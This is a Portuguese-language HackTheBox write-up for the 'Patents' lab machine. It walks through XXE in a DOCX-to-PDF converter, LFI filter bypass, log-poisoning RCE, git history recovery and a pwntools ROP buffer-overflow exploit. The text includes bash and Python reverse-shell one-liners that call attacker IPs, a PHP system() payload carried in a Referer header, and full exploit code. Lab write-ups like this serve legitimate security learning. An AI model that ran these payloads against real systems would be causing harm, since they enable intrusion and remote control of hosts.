Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .Neste artigo, exploramos o XXE no serviço de conversão de documentos DOCX para PDF, obtemos o RCE via LFI, cavamos no histórico do GIT e restauramos arquivos, compomos cadeias de ROP usando pwntools e localizamos um arquivo raiz oculto.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)Informações Organizacionais, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.173, que eu adiciono ao / etc / hosts.10.10.10.173 patents.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A patents.htb -p22,80,8888
O host executa serviços SSH e o servidor da web Apache, com a porta 8888 reservada para um serviço incompreensível. Vamos ver a web.
O site possui um formulário de download de documentos DOCX.
XXE DOCX
Segundo a declaração, nosso documento será convertido para o formato PDF. Isso sugere o pensamento de XXE. Eu peguei um exemplo daqui .
Assim, neste exemplo, o host tentará baixar o documento xml do servidor remoto. Ao fazer o download deste documento, ele lerá o arquivo local especificado no documento xml baixado, codificará em base64 e entrará em contato com nosso servidor novamente, passando o arquivo codificado como um parâmetro de solicitação. Ou seja, ao decodificar esse parâmetro, obtemos o arquivo da máquina remota.Mas essa carga não deve ser colocada no caminho word / document.xml. Como o OpenXML SDK é usado para trabalhar com esse tipo de documento, segue -se daqui e daqui, o software do servidor procurará dados no word / document.xml e no customXML / item1.xml. Portanto, a carga deve ser colocada lá.Vamos criar um documento docx e descompactá-lo como um arquivo zip. Depois disso, crie o diretório customXML e crie o arquivo item1.xml nele. Nele, escreveremos o código da imagem acima, alterando o endereço IP para o nosso. E arquivamos o documento de volta.
Agora execute o servidor da web local.python3 -m http.server 80
E no diretório atual, criamos o segundo arquivo xml, especificando / etc / passwd como o arquivo desejado.
E faça o upload do documento para o servidor. Na janela com o servidor da web em execução, veremos a conexão reversa.
Decodifique base64 e obtenha o arquivo solicitado.
Dessa forma, podemos ler arquivos no servidor. Vamos ler os arquivos de configuração do Apache. Para fazer isso, altere dtd.xml e repita o download do documento.
Então, descobrimos o diretório em que o site está localizado. Vamos tentar ler o arquivo de configuração.
E o comentário diz que o arquivo foi renomeado devido à vulnerabilidade. Naturalmente, vamos nos referir a ele patents.htb / getPatent_alphav1.0.php .
Voltando a esta página e passando o caminho ../../../../../etc/passwd como o parâmetro id, todas as ocorrências de "../" serão excluídas da nossa linha. Vamos substituir cada linha "../" por "... /. /". Portanto, se você excluir uma sequência, ela permanecerá "../".
E nós encontramos LFI.Ponto de entrada
Vamos tentar obter o RCE disso. Francamente - foi difícil. O fato é que, ao enviar um documento desse tipo, não recebemos uma oferta para baixar PDF. Ou seja, o descritor 2 foi usado (para exibir mensagens de diagnóstico e depuração em formato de texto). E podemos nos voltar para ele. Vamos codificar o shell reverso em base64:/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
Vamos decodificá-lo e passá-lo para a função de sistema em php. Vamos passar o código como um cabeçalho HTTP ao fazer upload de um arquivo.curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'
Execute o netcat.nc -lvp 4321
E agora vamos ao segundo descritor.curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
Voltamos a conectar.ROOT 1
Carregue as transferências de sistema de script linpeas e analise cuidadosamente a saída. Então, trabalhamos em um contêiner de encaixe.
Também encontramos hashes. Mas hackers, chegamos a nada.
Portanto, execute pspy64 para rastrear os processos em execução. E encontramos o início do processo como root, no qual a senha é passada como uma variável de ambiente.
E altere localmente o usuário digitando esta senha.
ROOT 2
Vamos ver o que esse script faz.
Recebemos uma dica sobre algum servidor lfms e também salvamos o nome de usuário e a senha. Vamos procurar no sistema tudo relacionado ao lfm.
E encontramos o repositório git neste diretório.
Vamos trabalhar com este repositório.
Vamos ver o histórico das mudanças.
Vamos ver o histórico das mudanças. Então, vemos que no penúltimo commit, um arquivo executável e uma descrição foram adicionados e, no último, eles já foram excluídos. Vamos reverter antes de excluir arquivos.git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
E em nosso diretório apareceu um arquivo executável e uma descrição.
Aqui eu já queria começar a reverter o arquivo, mas - nós temos um projeto git! Eu encontrei um commit que mencionava códigos fonte.
E vamos restaurar os arquivos.git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
Depois disso, baixamos os códigos-fonte de interesse, o próprio programa e as bibliotecas para a máquina local.Rop
Precisamos tentar encontrar e explorar a vulnerabilidade no programa, existem códigos-fonte para ajudar. Vamos verificar a proteção em um arquivo binário.
Ou seja, o canário e a TORTA estão ausentes, mas a pilha não é executável. Vamos abrir o arquivo binário em qualquer desmontador com um descompilador conveniente para você (eu uso o IDA Pro 7.2) e comparar o código descompilado com os códigos-fonte do repositório.
Para conectar-se ao servidor e usar os dados do arquivo checker.py, além de credenciais.
Vamos escrever um modelo de exploração.
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
Vamos agora determinar a solicitação. Inicie o aplicativo.
Você deve enviar o caminho para o arquivo e o hash de seu conteúdo. Por exemplo, peguei o / etc / hosts.
Adicione o seguinte código ao modelo.INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
Agora execute e obtenha o erro 404.
Vamos ver o arquivo de log.
É claro onde o aplicativo está procurando um arquivo, vamos brincar com os caminhos e especificar esse arquivo.file = "../../../../../etc/hosts"
Vamos executar o código e não veremos nenhum erro.
Mas no caso do urlencode, obtemos uma resposta com o código 200 do servidor!file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
Ótimo, vamos voltar ao desmontador. Encontramos entre as linhas (Shift + F12) uma resposta bem-sucedida do servidor. E vamos ver onde é acessado (X).
E passamos para a primeira função, onde no início há uma verificação de credenciais.
Vamos renomear as linhas variáveis na janela do desmontador para facilitar o entendimento no descompilador.
E analisando o código nas linhas 18-24, entendendo o seguinte: parte da entrada do usuário cai na função sub_402DB9, onde a sequência é convertida no nome da variável, que depois cai na função de acesso e, se o resultado for negativo, a mensagem 404 será exibida. o nome da variável será o caminho para o arquivo. Como a solicitação foi processada mesmo na codificação de URL, essa função provavelmente é necessária para decodificação.
Mas o fato é que o nome da variável, onde os dados são transferidos, é de tamanho limitado.
Assim, para o estouro de buffer, precisamos transferir 0xA0 = 160 bytes. Vamos adicionar no código a função de adicionar até 160 bytes e codificar o caminho para o arquivo. Como o hash é calculado a partir do conteúdo do arquivo, é necessário não violar a integridade do caminho do arquivo, ou seja, após o caminho principal adicionar 0x00 bytes.Mas o fato é que precisamos conhecer o hash de qualquer arquivo no servidor, que estará sempre disponível e nunca será alterado. Por exemplo, / proc / sys / kernel / randomize_va_space e, como lembramos da saída do linPEAS, o ASLR é ativado, ou seja, conhecemos o hash.
Então mude o código.
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
Funciona com sucesso!
Agora vamos usar um vazamento de memória e determinar o endereço em que a biblioteca libc está carregada. Para fazer isso, obtemos o endereço da função de gravação na biblioteca libc carregada.binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
Agora selecione o endereço da função dup2 (os primeiros 8 bytes). Subtraia o endereço da função dup2 na biblioteca descarregada. Isto encontrará o endereço base da libc.print(f"[*] Payload sent")
recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
Agora encontre o endereço da linha / bin / sh.shell_address = next(libc.search(b"/bin/sh\x00"))
Resta coletar o ROP, no qual os descritores de E / S padrão (0,1,2) serão redirecionados para o descritor registrado no programa (captura 6). Após o qual a função do sistema será chamada, onde passaremos o endereço da linha / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
Bem! Nós obtemos o shell da raiz. Mas ele está morrendo rapidamente. Execute o ouvinte (nc -lvp 8765) e ative o shell de conexão traseira.r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

E nós temos uma concha estável. Dou o código completo na figura abaixo.
Mas não podemos ler a bandeira raiz ...
ROOT 3
Executando linpeas e olhando para a saída, encontramos seções interessantes, especialmente / dev / sda2.
Vamos obter informações sobre todos os dispositivos de bloco.
Portanto, temos a partição raiz / dev / sda2. Crie um diretório e monte a partição.
Então, encontramos a bandeira raiz.Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.